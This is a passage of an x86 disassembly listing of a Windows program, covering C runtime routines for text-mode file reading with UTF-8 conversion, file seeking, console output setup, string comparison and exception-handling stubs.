push [ebp+var_18]
push [ebp+arg_0]
call sub_4178D6
and eax, edx
add esp, 10h
cmp eax, 0FFFFFFFFh
jz loc_41A481
xor eax, eax
jmp loc_41A488
sub_41A3FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A5AF proc near ; CODE XREF: sub_418D2B+355p
; sub_418D2B+4B8p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = word ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1Ch
mov edx, [ebp+arg_8]
push esi
mov esi, [ebp+arg_0]
push 0FFFFFFFEh
pop eax
cmp esi, eax
mov [ebp+var_14], eax
mov [ebp+var_1C], edx
jnz short loc_41A5E4
call sub_40F7B1
and dword ptr [eax], 0
call sub_40F79E
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp loc_41AB4E
; ---------------------------------------------------------------------------
loc_41A5E4: ; CODE XREF: sub_41A5AF+18j
push edi
xor edi, edi
cmp esi, edi
jl short loc_41A5F3
cmp esi, dword_424EC8
jb short loc_41A61A
loc_41A5F3: ; CODE XREF: sub_41A5AF+3Aj
call sub_40F7B1
mov [eax], edi
call sub_40F79E
push edi
push edi
push edi
push edi
push edi
mov dword ptr [eax], 9
call sub_40DCD8
add esp, 14h
or eax, 0FFFFFFFFh
jmp loc_41AB4D
; ---------------------------------------------------------------------------
loc_41A61A: ; CODE XREF: sub_41A5AF+42j
mov eax, esi
and esi, 1Fh
imul esi, 28h
sar eax, 5
push ebx
lea ebx, ds:424EE0h[eax*4]
mov eax, [ebx]
add eax, esi
mov cl, [eax+4]
test cl, 1
jnz short loc_41A650
call sub_40F7B1
mov [eax], edi
call sub_40F79E
mov dword ptr [eax], 9
jmp loc_41A797
; ---------------------------------------------------------------------------
loc_41A650: ; CODE XREF: sub_41A5AF+88j
cmp edx, edi
mov [ebp+var_10], edi
jz loc_41AB4A
test cl, 2
jnz loc_41AB4A
mov ecx, [ebp+arg_4]
cmp ecx, edi
jz loc_41A785
mov al, [eax+24h]
add al, al
sar al, 1
mov [ebp+var_2], al
movsx eax, al
dec eax
jz loc_41A77D
dec eax
jnz short loc_41A698
mov eax, edx
not eax
test al, 1
jz loc_41A785
and edx, 0FFFFFFFEh
mov [ebp+arg_8], edx
loc_41A698: ; CODE XREF: sub_41A5AF+D5j
mov [ebp+var_C], ecx
loc_41A69B: ; CODE XREF: sub_41A5AF+216j
mov ecx, [ebx]
mov eax, [ebp+var_C]
lea edi, [esi+ecx]
test byte ptr [edi+4], 48h
jz short loc_41A71F
mov cl, [edi+5]
cmp cl, 0Ah
jz short loc_41A71F
xor edx, edx
cmp [ebp+arg_8], edx
jz short loc_41A71F
mov [eax], cl
mov ecx, [ebx]
inc eax
dec [ebp+arg_8]
cmp [ebp+var_2], dl
mov [ebp+var_10], 1
mov byte ptr [esi+ecx+5], 0Ah
jz short loc_41A71F
mov ecx, [ebx]
mov cl, [esi+ecx+25h]
cmp cl, 0Ah
jz short loc_41A71F
cmp [ebp+arg_8], edx
jz short loc_41A71F
mov [eax], cl
mov ecx, [ebx]
inc eax
dec [ebp+arg_8]
cmp [ebp+var_2], 1
mov [ebp+var_10], 2
mov byte ptr [esi+ecx+25h], 0Ah
jnz short loc_41A71F
mov ecx, [ebx]
mov cl, [esi+ecx+26h]
cmp cl, 0Ah
jz short loc_41A71F
cmp [ebp+arg_8], edx
jz short loc_41A71F
mov [eax], cl
mov ecx, [ebx]
inc eax
dec [ebp+arg_8]
mov [ebp+var_10], 3
mov byte ptr [esi+ecx+26h], 0Ah
loc_41A71F: ; CODE XREF: sub_41A5AF+F8j
; sub_41A5AF+100j ...
push 0
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_8]
push eax
mov eax, [ebx]
push dword ptr [esi+eax]
call dword_41C0FC ; ReadFile
test eax, eax
jz loc_41AB14
mov edi, [ebp+var_18]
test edi, edi
jl loc_41AB14
cmp edi, [ebp+arg_8]
ja loc_41AB14
mov eax, [ebx]
add [ebp+var_10], edi
lea eax, [esi+eax+4]
test byte ptr [eax], 80h
jz loc_41A9B4
cmp [ebp+var_2], 2
jz loc_41A9DE
test edi, edi
jz short loc_41A7E9
mov ecx, [ebp+var_C]
cmp byte ptr [ecx], 0Ah
jnz short loc_41A7E9
or byte ptr [eax], 4
jmp short loc_41A7EC
; ---------------------------------------------------------------------------
loc_41A77D: ; CODE XREF: sub_41A5AF+CEj
mov eax, edx
not eax
test al, 1
jnz short loc_41A7A6
loc_41A785: ; CODE XREF: sub_41A5AF+BAj
; sub_41A5AF+DDj
call sub_40F7B1
mov [eax], edi
call sub_40F79E
mov dword ptr [eax], 16h
loc_41A797: ; CODE XREF: sub_41A5AF+9Cj
push edi
push edi
push edi
push edi
push edi
call sub_40DCD8
add esp, 14h
jmp short loc_41A7E1
; ---------------------------------------------------------------------------
loc_41A7A6: ; CODE XREF: sub_41A5AF+1D4j
mov eax, edx
push 4
pop ecx
shr eax, 1
cmp eax, ecx
mov [ebp+arg_8], ecx
jb short loc_41A7B7
mov [ebp+arg_8], eax
loc_41A7B7: ; CODE XREF: sub_41A5AF+203j
push [ebp+arg_8]
call sub_412323
cmp eax, edi
pop ecx
mov [ebp+var_C], eax
jnz loc_41A69B
call sub_40F79E
mov dword ptr [eax], 0Ch
call sub_40F7B1
mov dword ptr [eax], 8
loc_41A7E1: ; CODE XREF: sub_41A5AF+1F5j
or eax, 0FFFFFFFFh
jmp loc_41AB4C
; ---------------------------------------------------------------------------
loc_41A7E9: ; CODE XREF: sub_41A5AF+1BFj
; sub_41A5AF+1C7j
and byte ptr [eax], 0FBh
loc_41A7EC: ; CODE XREF: sub_41A5AF+1CCj
mov edi, [ebp+var_C]
mov eax, [ebp+var_10]
add eax, edi
cmp edi, eax
mov [ebp+arg_8], edi
mov [ebp+var_10], eax
jnb loc_41A8D2
loc_41A802: ; CODE XREF: sub_41A5AF+306j
mov ecx, [ebp+arg_8]
mov al, [ecx]
cmp al, 1Ah
jz loc_41A8BD
cmp al, 0Dh
jz short loc_41A81F
mov [edi], al
inc edi
inc ecx
mov [ebp+arg_8], ecx
jmp loc_41A8AF
; ---------------------------------------------------------------------------
loc_41A81F: ; CODE XREF: sub_41A5AF+262j
mov eax, [ebp+var_10]
dec eax
cmp ecx, eax
jnb short loc_41A83E
lea eax, [ecx+1]
cmp byte ptr [eax], 0Ah
jnz short loc_41A839
inc ecx
inc ecx
mov [ebp+arg_8], ecx
loc_41A834: ; CODE XREF: sub_41A5AF+2CAj
; sub_41A5AF+2E3j
mov byte ptr [edi], 0Ah
jmp short loc_41A8AE
; ---------------------------------------------------------------------------
loc_41A839: ; CODE XREF: sub_41A5AF+27Ej
mov [ebp+arg_8], eax
jmp short loc_41A8AB
; ---------------------------------------------------------------------------
loc_41A83E: ; CODE XREF: sub_41A5AF+276j
inc [ebp+arg_8]
push 0
lea eax, [ebp+var_18]
push eax
push 1
lea eax, [ebp+var_1]
push eax
mov eax, [ebx]
push dword ptr [esi+eax]
call dword_41C0FC ; ReadFile
test eax, eax
jnz short loc_41A866
call dword_41C0A4 ; RtlGetLastWin32Error
test eax, eax
jnz short loc_41A8AB
loc_41A866: ; CODE XREF: sub_41A5AF+2ABj
cmp [ebp+var_18], 0
jz short loc_41A8AB
mov eax, [ebx]
test byte ptr [esi+eax+4], 48h
jz short loc_41A889
cmp [ebp+var_1], 0Ah
jz short loc_41A834
mov byte ptr [edi], 0Dh
mov eax, [ebx]
mov cl, [ebp+var_1]
mov [esi+eax+5], cl
jmp short loc_41A8AE
; ---------------------------------------------------------------------------
loc_41A889: ; CODE XREF: sub_41A5AF+2C4j
cmp edi, [ebp+var_C]
jnz short loc_41A894
cmp [ebp+var_1], 0Ah
jz short loc_41A834
loc_41A894: ; CODE XREF: sub_41A5AF+2DDj
push 1
push 0FFFFFFFFh
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_4178D6
add esp, 10h
cmp [ebp+var_1], 0Ah
jz short loc_41A8AF
loc_41A8AB: ; CODE XREF: sub_41A5AF+28Dj
; sub_41A5AF+2B5j ...
mov byte ptr [edi], 0Dh
loc_41A8AE: ; CODE XREF: sub_41A5AF+288j
; sub_41A5AF+2D8j
inc edi
loc_41A8AF: ; CODE XREF: sub_41A5AF+26Bj
; sub_41A5AF+2FAj
mov eax, [ebp+var_10]
cmp [ebp+arg_8], eax
jb loc_41A802
jmp short loc_41A8D2
; ---------------------------------------------------------------------------
loc_41A8BD: ; CODE XREF: sub_41A5AF+25Aj
mov eax, [ebx]
lea eax, [esi+eax+4]
test byte ptr [eax], 40h
jnz short loc_41A8CD
or byte ptr [eax], 2
jmp short loc_41A8D2
; ---------------------------------------------------------------------------
loc_41A8CD: ; CODE XREF: sub_41A5AF+317j
mov al, [ecx]
mov [edi], al
inc edi
loc_41A8D2: ; CODE XREF: sub_41A5AF+24Dj
; sub_41A5AF+30Cj ...
mov eax, edi
sub eax, [ebp+var_C]
cmp [ebp+var_2], 1
mov [ebp+var_10], eax
jnz loc_41A9B4
test eax, eax
jz loc_41A9B4
dec edi
mov cl, [edi]
test cl, cl
js short loc_41A8F9
inc edi
jmp loc_41A97F
; ---------------------------------------------------------------------------
loc_41A8F9: ; CODE XREF: sub_41A5AF+342j
xor eax, eax
inc eax
movzx ecx, cl
jmp short loc_41A910
; ---------------------------------------------------------------------------
loc_41A901: ; CODE XREF: sub_41A5AF+368j
cmp eax, 4
jg short loc_41A919
cmp edi, [ebp+var_C]
jb short loc_41A919
dec edi
movzx ecx, byte ptr [edi]
inc eax
loc_41A910: ; CODE XREF: sub_41A5AF+350j
cmp byte_424060[ecx], 0
jz short loc_41A901
loc_41A919: ; CODE XREF: sub_41A5AF+355j
; sub_41A5AF+35Aj
mov dl, [edi]
movzx ecx, dl
movsx ecx, byte_424060[ecx]
test ecx, ecx
jnz short loc_41A936
call sub_40F79E
mov dword ptr [eax], 2Ah
jmp short loc_41A9B0
; ---------------------------------------------------------------------------
loc_41A936: ; CODE XREF: sub_41A5AF+378j
inc ecx
cmp ecx, eax
jnz short loc_41A93F
add edi, eax
jmp short loc_41A97F
; ---------------------------------------------------------------------------
loc_41A93F: ; CODE XREF: sub_41A5AF+38Aj
mov ecx, [ebx]
add ecx, esi
test byte ptr [ecx+4], 48h
jz short loc_41A96D
inc edi
cmp eax, 2
mov [ecx+5], dl
jl short loc_41A95B
mov dl, [edi]
mov ecx, [ebx]
mov [esi+ecx+25h], dl
inc edi
loc_41A95B: ; CODE XREF: sub_41A5AF+3A1j
cmp eax, 3
jnz short loc_41A969
mov dl, [edi]
mov ecx, [ebx]
mov [esi+ecx+26h], dl
inc edi
loc_41A969: ; CODE XREF: sub_41A5AF+3AFj
sub edi, eax
jmp short loc_41A97F
; ---------------------------------------------------------------------------
loc_41A96D: ; CODE XREF: sub_41A5AF+398j
neg eax
cdq
push 1
push edx
push eax
push [ebp+arg_0]
call sub_4178D6
add esp, 10h
loc_41A97F: ; CODE XREF: sub_41A5AF+345j
; sub_41A5AF+38Ej ...
mov eax, [ebp+var_1C]
sub edi, [ebp+var_C]
shr eax, 1
push eax
push [ebp+arg_4]
push edi
push [ebp+var_C]
push 0
push 0FDE9h
call dword_41C174 ; MultiByteToWideChar
test eax, eax
mov [ebp+var_10], eax
jnz short loc_41A9D7
call dword_41C0A4 ; RtlGetLastWin32Error
loc_41A9A9: ; CODE XREF: sub_41A5AF+58Cj
push eax
call sub_40F7C4
pop ecx
loc_41A9B0: ; CODE XREF: sub_41A5AF+385j
; sub_41A5AF+584j
or [ebp+var_14], 0FFFFFFFFh
loc_41A9B4: ; CODE XREF: sub_41A5AF+1ADj
; sub_41A5AF+32Fj ...
mov eax, [ebp+var_C]
cmp eax, [ebp+arg_4]
jz short loc_41A9C3
push eax
call sub_41112C
pop ecx
loc_41A9C3: ; CODE XREF: sub_41A5AF+40Bj
mov eax, [ebp+var_14]
cmp eax, 0FFFFFFFEh
jnz loc_41AB4C
mov eax, [ebp+var_10]
jmp loc_41AB4C
; ---------------------------------------------------------------------------
loc_41A9D7: ; CODE XREF: sub_41A5AF+3F2j
add eax, eax
mov [ebp+var_10], eax
jmp short loc_41A9B4
; ---------------------------------------------------------------------------
loc_41A9DE: ; CODE XREF: sub_41A5AF+1B7j
test edi, edi
jz short loc_41A9F0
mov ecx, [ebp+var_C]
cmp word ptr [ecx], 0Ah
jnz short loc_41A9F0
or byte ptr [eax], 4
jmp short loc_41A9F3
; ---------------------------------------------------------------------------
loc_41A9F0: ; CODE XREF: sub_41A5AF+431j
; sub_41A5AF+43Aj
and byte ptr [eax], 0FBh
loc_41A9F3: ; CODE XREF: sub_41A5AF+43Fj
mov edi, [ebp+var_C]
mov eax, [ebp+var_10]
add eax, edi
cmp edi, eax
mov [ebp+arg_8], edi
mov [ebp+var_10], eax
jnb loc_41AB09
loc_41AA09: ; CODE XREF: sub_41A5AF+53Aj
mov eax, [ebp+arg_8]
movzx ecx, word ptr [eax]
cmp cx, 1Ah
jz loc_41AAF1
cmp cx, 0Dh
jz short loc_41AA2E
mov [edi], cx
inc edi
inc edi
inc eax
inc eax
mov [ebp+arg_8], eax
jmp loc_41AAE3
; ---------------------------------------------------------------------------
loc_41AA2E: ; CODE XREF: sub_41A5AF+46Ej
mov ecx, [ebp+var_10]
add ecx, 0FFFFFFFEh
cmp eax, ecx
jnb short loc_41AA59
lea ecx, [eax+2]
cmp word ptr [ecx], 0Ah
jnz short loc_41AA51
add eax, 4
mov [ebp+arg_8], eax
loc_41AA47: ; CODE XREF: sub_41A5AF+4E7j
; sub_41A5AF+513j
mov word ptr [edi], 0Ah
jmp loc_41AAE1
; ---------------------------------------------------------------------------
loc_41AA51: ; CODE XREF: sub_41A5AF+490j
mov [ebp+arg_8], ecx
jmp loc_41AADC
; ---------------------------------------------------------------------------
loc_41AA59: ; CODE XREF: sub_41A5AF+487j
add [ebp+arg_8], 2
push 0
lea eax, [ebp+var_18]
push eax
push 2
lea eax, [ebp+var_8]
push eax
mov eax, [ebx]
push dword ptr [esi+eax]
call dword_41C0FC ; ReadFile
test eax, eax
jnz short loc_41AA82
call dword_41C0A4 ; RtlGetLastWin32Error
test eax, eax
jnz short loc_41AADC
loc_41AA82: ; CODE XREF: sub_41A5AF+4C7j
cmp [ebp+var_18], 0
jz short loc_41AADC
mov eax, [ebx]
test byte ptr [esi+eax+4], 48h
jz short loc_41AAB8
cmp [ebp+var_8], 0Ah
jz short loc_41AA47
mov word ptr [edi], 0Dh
mov eax, [ebx]
mov cl, byte ptr [ebp+var_8]
mov [esi+eax+5], cl
mov eax, [ebx]
mov cl, byte ptr [ebp+var_8+1]
mov [esi+eax+25h], cl
mov eax, [ebx]
mov byte ptr [esi+eax+26h], 0Ah
jmp short loc_41AAE1
; ---------------------------------------------------------------------------
loc_41AAB8: ; CODE XREF: sub_41A5AF+4E0j
cmp edi, [ebp+var_C]
jnz short loc_41AAC4
cmp [ebp+var_8], 0Ah
jz short loc_41AA47
loc_41AAC4: ; CODE XREF: sub_41A5AF+50Cj
push 1
push 0FFFFFFFFh
push 0FFFFFFFEh
push [ebp+arg_0]
call sub_4178D6
add esp, 10h
cmp [ebp+var_8], 0Ah
jz short loc_41AAE3
loc_41AADC: ; CODE XREF: sub_41A5AF+4A5j
; sub_41A5AF+4D1j ...
mov word ptr [edi], 0Dh
loc_41AAE1: ; CODE XREF: sub_41A5AF+49Dj
; sub_41A5AF+507j
inc edi
inc edi
loc_41AAE3: ; CODE XREF: sub_41A5AF+47Aj
; sub_41A5AF+52Bj
mov eax, [ebp+var_10]
cmp [ebp+arg_8], eax
jb loc_41AA09
jmp short loc_41AB09
; ---------------------------------------------------------------------------
loc_41AAF1: ; CODE XREF: sub_41A5AF+464j
mov ecx, [ebx]
lea esi, [esi+ecx+4]
test byte ptr [esi], 40h
jnz short loc_41AB01
or byte ptr [esi], 2
jmp short loc_41AB09
; ---------------------------------------------------------------------------
loc_41AB01: ; CODE XREF: sub_41A5AF+54Bj
mov ax, [eax]
mov [edi], ax
inc edi
inc edi
loc_41AB09: ; CODE XREF: sub_41A5AF+454j
; sub_41A5AF+540j ...
sub edi, [ebp+var_C]
mov [ebp+var_10], edi
jmp loc_41A9B4
; ---------------------------------------------------------------------------
loc_41AB14: ; CODE XREF: sub_41A5AF+187j
; sub_41A5AF+192j ...
call dword_41C0A4 ; RtlGetLastWin32Error
push 5
pop esi
cmp eax, esi
jnz short loc_41AB38
call sub_40F79E
mov dword ptr [eax], 9
call sub_40F7B1
mov [eax], esi
jmp loc_41A9B0
; ---------------------------------------------------------------------------
loc_41AB38: ; CODE XREF: sub_41A5AF+570j
cmp eax, 6Dh
jnz loc_41A9A9
and [ebp+var_14], 0
jmp loc_41A9B4
; ---------------------------------------------------------------------------
loc_41AB4A: ; CODE XREF: sub_41A5AF+A6j
; sub_41A5AF+AFj
xor eax, eax
loc_41AB4C: ; CODE XREF: sub_41A5AF+235j
; sub_41A5AF+41Aj ...
pop ebx
loc_41AB4D: ; CODE XREF: sub_41A5AF+66j
pop edi
loc_41AB4E: ; CODE XREF: sub_41A5AF+30j
pop esi
leave
retn
sub_41A5AF endp
; =============== S U B R O U T I N E =======================================
sub_41AB51 proc near ; CODE XREF: sub_418D2B+322p
; sub_418D2B+37Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push esi
call sub_419E05
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41AB72
call sub_40F79E
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41AB72: ; CODE XREF: sub_41AB51+Fj
push edi
push [esp+8+arg_8]
push 0
push [esp+10h+arg_4]
push eax
call dword_41C048 ; SetFilePointer
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_41AB93
call dword_41C0A4 ; RtlGetLastWin32Error
jmp short loc_41AB95
; ---------------------------------------------------------------------------
loc_41AB93: ; CODE XREF: sub_41AB51+38j
xor eax, eax
loc_41AB95: ; CODE XREF: sub_41AB51+40j
test eax, eax
jz short loc_41ABA5
push eax
call sub_40F7C4
pop ecx
or eax, 0FFFFFFFFh
jmp short loc_41ABC0
; ---------------------------------------------------------------------------
loc_41ABA5: ; CODE XREF: sub_41AB51+46j
mov eax, esi
and esi, 1Fh
imul esi, 28h
sar eax, 5
mov eax, dword_424EE0[eax*4]
lea eax, [eax+esi+4]
and byte ptr [eax], 0FDh
mov eax, edi
loc_41ABC0: ; CODE XREF: sub_41AB51+52j
pop edi
pop esi
retn
sub_41AB51 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ABC3 proc near ; CODE XREF: sub_41A3FB+9Ap
; sub_41A3FB+DEp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
mov eax, edx
sar eax, 5
and edx, 1Fh
imul edx, 28h
push ebx
mov ebx, [ebp+arg_4]
push esi
lea esi, ds:424EE0h[eax*4]
mov eax, [esi]
lea ecx, [eax+edx]
movzx eax, byte ptr [ecx+4]
and eax, 80h
mov [ebp+arg_0], eax
mov al, [ecx+24h]
add al, al
movsx eax, al
push edi
mov edi, 4000h
sar eax, 1
cmp ebx, edi
jz short loc_41AC55
cmp ebx, 8000h
jz short loc_41AC4F
cmp ebx, 10000h
jz short loc_41AC3B
cmp ebx, 20000h
jz short loc_41AC3B
cmp ebx, 40000h
jnz short loc_41AC62
or byte ptr [ecx+4], 80h
mov ecx, [esi]
lea ecx, [ecx+edx+24h]
mov dl, [ecx]
and dl, 81h
or dl, 1
loc_41AC37: ; CODE XREF: sub_41ABC3+8Aj
mov [ecx], dl
jmp short loc_41AC62
; ---------------------------------------------------------------------------
loc_41AC3B: ; CODE XREF: sub_41ABC3+50j
; sub_41ABC3+58j
or byte ptr [ecx+4], 80h
mov ecx, [esi]
lea ecx, [ecx+edx+24h]
mov dl, [ecx]
and dl, 82h
or dl, 2
jmp short loc_41AC37
; ---------------------------------------------------------------------------
loc_41AC4F: ; CODE XREF: sub_41ABC3+48j
and byte ptr [ecx+4], 7Fh
jmp short loc_41AC62
; ---------------------------------------------------------------------------
loc_41AC55: ; CODE XREF: sub_41ABC3+40j
or byte ptr [ecx+4], 80h
mov ecx, [esi]
lea ecx, [ecx+edx+24h]
and byte ptr [ecx], 80h
loc_41AC62: ; CODE XREF: sub_41ABC3+60j
; sub_41ABC3+76j ...
cmp [ebp+arg_0], 0
jnz short loc_41AC6F
mov eax, 8000h
jmp short loc_41AC7A
; ---------------------------------------------------------------------------
loc_41AC6F: ; CODE XREF: sub_41ABC3+A3j
neg eax
sbb eax, eax
and eax, 0C000h
add eax, edi
loc_41AC7A: ; CODE XREF: sub_41ABC3+AAj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41ABC3 endp
; =============== S U B R O U T I N E =======================================
sub_41AC7F proc near ; CODE XREF: sub_418D2B+40p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
xor esi, esi
cmp eax, esi
jnz short loc_41ACA7
call sub_40F79E
push esi
push esi
push esi
push esi
push esi
mov dword ptr [eax], 16h
call sub_40DCD8
add esp, 14h
push 16h
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_41ACA7: ; CODE XREF: sub_41AC7F+9j
mov ecx, dword_424E50
mov [eax], ecx
xor eax, eax
pop esi
retn
sub_41AC7F endp
; =============== S U B R O U T I N E =======================================
sub_41ACB3 proc near ; CODE XREF: sub_419B1B+24p
xor eax, eax
push eax
push eax
push 3
push eax
push 3
push 40000000h
push offset aConout ; "CONOUT$"
call dword_41C034 ; CreateFileA
mov dword_424164, eax
retn
sub_41ACB3 endp
; =============== S U B R O U T I N E =======================================
sub_41ACD2 proc near ; DATA XREF: .vty:0041C24Co
mov eax, dword_424164
cmp eax, 0FFFFFFFFh
push esi
mov esi, dword_41C0D4
jz short loc_41ACEB
cmp eax, 0FFFFFFFEh
jz short loc_41ACEB
push eax
call esi ; CloseHandle
loc_41ACEB: ; CODE XREF: sub_41ACD2+Fj
; sub_41ACD2+14j
mov eax, dword_424160
cmp eax, 0FFFFFFFFh
jz short loc_41ACFD
cmp eax, 0FFFFFFFEh
jz short loc_41ACFD
push eax
call esi ; CloseHandle
loc_41ACFD: ; CODE XREF: sub_41ACD2+21j
; sub_41ACD2+26j
pop esi
retn
sub_41ACD2 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+10h]
or ecx, ecx
jz short loc_41AD5A
mov esi, [ebp+8]
mov edi, [ebp+0Ch]
mov bh, 41h
mov bl, 5Ah
mov dh, 20h
lea ecx, [ecx+0]
loc_41AD1C: ; CODE XREF: .vty:0041AD49j
mov ah, [esi]
or ah, ah
mov al, [edi]
jz short loc_41AD4B
or al, al
jz short loc_41AD4B
add esi, 1
add edi, 1
cmp ah, bh
jb short loc_41AD38
cmp ah, bl
ja short loc_41AD38
add ah, dh
loc_41AD38: ; CODE XREF: .vty:0041AD30j
; .vty:0041AD34j
cmp al, bh
jb short loc_41AD42
cmp al, bl
ja short loc_41AD42
add al, dh
loc_41AD42: ; CODE XREF: .vty:0041AD3Aj
; .vty:0041AD3Ej
cmp ah, al
jnz short loc_41AD51
sub ecx, 1
jnz short loc_41AD1C
loc_41AD4B: ; CODE XREF: .vty:0041AD22j
; .vty:0041AD26j
xor ecx, ecx
cmp ah, al
jz short loc_41AD5A
loc_41AD51: ; CODE XREF: .vty:0041AD44j
mov ecx, 0FFFFFFFFh
jb short loc_41AD5A
neg ecx
loc_41AD5A: ; CODE XREF: .vty:0041AD0Bj
; .vty:0041AD4Fj ...
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41AD70: ; CODE XREF: .vty:0041AD9Fj
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
align 10h
xor eax, eax
mov al, [esp+8]
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+8]
test edx, 3
jz short loc_41ADAD
loc_41AD98: ; CODE XREF: .vty:0041ADABj
mov cl, [edx]
add edx, 1
cmp cl, bl
jz short loc_41AD70
test cl, cl
jz short loc_41ADF6
test edx, 3
jnz short loc_41AD98
loc_41ADAD: ; CODE XREF: .vty:0041AD96j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_41ADB8: ; CODE XREF: .vty:0041ADE3j
; .vty:0041ADF2j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_41ADFA
and eax, 81010100h
jz short loc_41ADB8
and eax, 1010100h
jnz short loc_41ADF4
and esi, 80000000h
jnz short loc_41ADB8
loc_41ADF4: ; CODE XREF: .vty:0041ADEAj
; .vty:0041AE03j ...
pop esi
pop edi
loc_41ADF6: ; CODE XREF: .vty:0041ADA3j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41ADFA: ; CODE XREF: .vty:0041ADDCj
mov eax, [edx-4]
cmp al, bl
jz short loc_41AE37
test al, al
jz short loc_41ADF4
cmp ah, bl
jz short loc_41AE30
test ah, ah
jz short loc_41ADF4
shr eax, 10h
cmp al, bl
jz short loc_41AE29
test al, al
jz short loc_41ADF4
cmp ah, bl
jz short loc_41AE22
test ah, ah
jz short loc_41ADF4
jmp short loc_41ADB8
; ---------------------------------------------------------------------------
loc_41AE22: ; CODE XREF: .vty:0041AE1Aj
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41AE29: ; CODE XREF: .vty:0041AE12j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41AE30: ; CODE XREF: .vty:0041AE07j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41AE37: ; CODE XREF: .vty:0041ADFFj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41AE3E proc near ; CODE XREF: sub_41083D+24p
; sub_4140EA+10p ...
jmp dword_41C13C
sub_41AE3E endp
; =============== S U B R O U T I N E =======================================
sub_41AE44 proc near ; CODE XREF: sub_4015DE+5p
; sub_401869+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_41AE44 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
lea ecx, [ebp-28h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41AE6B: ; DATA XREF: sub_40D784+2o
; sub_40D7C3+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-54h]
xor ecx, eax
call sub_410BCD
mov eax, offset dword_41F858
jmp sub_41088F
; ---------------------------------------------------------------------------
loc_41AE86: ; DATA XREF: sub_4160A3+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-14h]
xor ecx, eax
call sub_410BCD
mov eax, offset dword_41FBD0
jmp sub_41088F
; =============== S U B R O U T I N E =======================================
sub_41AEA1 proc near ; CODE XREF: sub_412B12+14p
; DATA XREF: sub_4015DEo
mov eax, offset dword_41FFE0
jmp sub_41088F
sub_41AEA1 endp
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_40D931
; ---------------------------------------------------------------------------
loc_41AEB3: ; DATA XREF: sub_401869o sub_401919o
mov eax, offset dword_42000C
jmp sub_41088F
; ---------------------------------------------------------------------------
loc_41AEBD: ; DATA XREF: .vty:0042003Co
jmp locret_401868
; ---------------------------------------------------------------------------
loc_41AEC2: ; DATA XREF: sub_40AC8Bo
mov eax, offset dword_42006C
jmp sub_41088F
; ---------------------------------------------------------------------------
mov ecx, [ebp+8]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41AED4: ; DATA XREF: .vty:0042009Co
mov ecx, [ebp+8]
add ecx, 1Ch
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41AEDF: ; DATA XREF: sub_40772Bo
mov eax, offset dword_4200A0
jmp sub_41088F
; ---------------------------------------------------------------------------
mov ecx, [ebp+8]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41AEF1: ; DATA XREF: sub_407260o sub_407525o ...
mov eax, offset dword_4200CC
jmp sub_41088F
; ---------------------------------------------------------------------------
loc_41AEFB: ; DATA XREF: sub_4070DEo
mov eax, offset dword_420124
jmp sub_41088F
; ---------------------------------------------------------------------------
loc_41AF05: ; DATA XREF: sub_407078o
mov eax, offset dword_42017C
jmp sub_41088F
; ---------------------------------------------------------------------------
loc_41AF0F: ; DATA XREF: .vty:004201ACo
jmp locret_401868
; ---------------------------------------------------------------------------
loc_41AF14: ; DATA XREF: sub_4023B8o
mov eax, offset dword_4201DC
jmp sub_41088F
; ---------------------------------------------------------------------------
mov eax, [ebp-14h]
and eax, 1
jz locret_41AF36
and dword ptr [ebp-14h], 0FFFFFFFEh
mov ecx, [ebp+8]
jmp loc_4033BE
; ---------------------------------------------------------------------------
locret_41AF36: ; CODE XREF: .vty:0041AF24j
retn
; ---------------------------------------------------------------------------
